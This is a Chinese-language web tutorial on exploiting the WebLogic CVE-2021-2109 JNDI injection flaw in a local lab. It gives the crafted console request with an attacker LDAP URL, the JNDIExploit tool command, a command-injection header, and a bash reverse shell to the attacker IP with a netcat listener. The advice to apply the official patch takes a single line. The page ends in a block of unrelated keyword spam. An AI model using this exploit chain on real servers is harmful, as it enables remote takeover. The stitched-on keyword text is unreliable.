千家信息网

如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。一、
千家信息网最后更新 2025年01月20日如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹

如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

一、漏洞描述

2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

影响版本

  1. WebLogic 3.6.0.0

  2. WebLogic 1.3.0.0

  3. WebLogic 2.1.3.0

  4. WebLogic 2.1.4.0

  5. WebLogic 1.1.0.0

环境搭建

攻击机(kali):192.168.159.131 靶机:192.168.159.139

这里使用docker来搭建环境

docker pull ismaleiva90/weblogic12

docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest

访问http://your-ip:49163/console即可看到页面

漏洞复现

使用burpsuit截取访问http://your-ip:49163/console报文,发送到repeater模块

1、将GET /console/console.portal?_nfpb=true HTTP/1.1修改为POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.159;131:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

请注意192.168.159;131地址的第三位后面为分号,192.168.159;131为启动LDAP服务的攻击机IP

2、在cookie上方添加"cmd:id"来获取靶机服务器id信息,如下图所示

3、在攻击机上启动LDAP

下载地址:

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

java -jar JNDIExploit-v1.11.jar -i 192.168.159.131

4、重放修改过的报文,成功获取到靶机上的id信息

5、反弹shell

在http://www.jackson-t.ca/runtime-exec-payloads.html网站将bash -i >& /dev/tcp/192.168.159.131/2333 0>&1 进行base64编码

将编码后的反弹shell命令复制到下图cmd后面进行重放,同时在攻击机上开启nc -lvvp 2333命令监听2333端口,点击发送

成功反弹回shell

修复建议

升级官方安全补丁

看完上述内容,你们掌握如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 攻击 代码 靶机 服务 成功 信息 内容 命令 地址 官方 报文 攻击机 方法 更多 服务器 环境 编码 补丁 问题 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 c 连接数据库原理 服务器报警灯 如何查错误信息 幻塔不同服务器能添加好友吗 本科生毕业论文参考数据库 装配式网络技术生产厂家 服务器黑匣子 违反学生网络安全守则 作为软件开发人员的职业素养 计算机网络技术初级课程 湖北工程软件开发哪家好 目前氛围比较好的魔兽服务器 天津私人服务器托管云服务器 网络安全权威杂志 班会免费课件 网络安全 氚云 数据库地址 数据库的概念结构设计应在 安全的linux服务器 企业密信登录的服务器 兰州网络安全专业好找工作吗 三株数码软件开发倒闭 新一代软件开发设施以客为尊 九恒星团队的软件开发流程 失落的方舟美东服务器 小学网络安全优质课教学设计 大专计算机网络技术毕业 涉密软件开发测评 北京国企软件开发工资一般多少 小本解说服务器小游戏 阿里云服务器有哪些安全 软件开发属于什么会计类别
0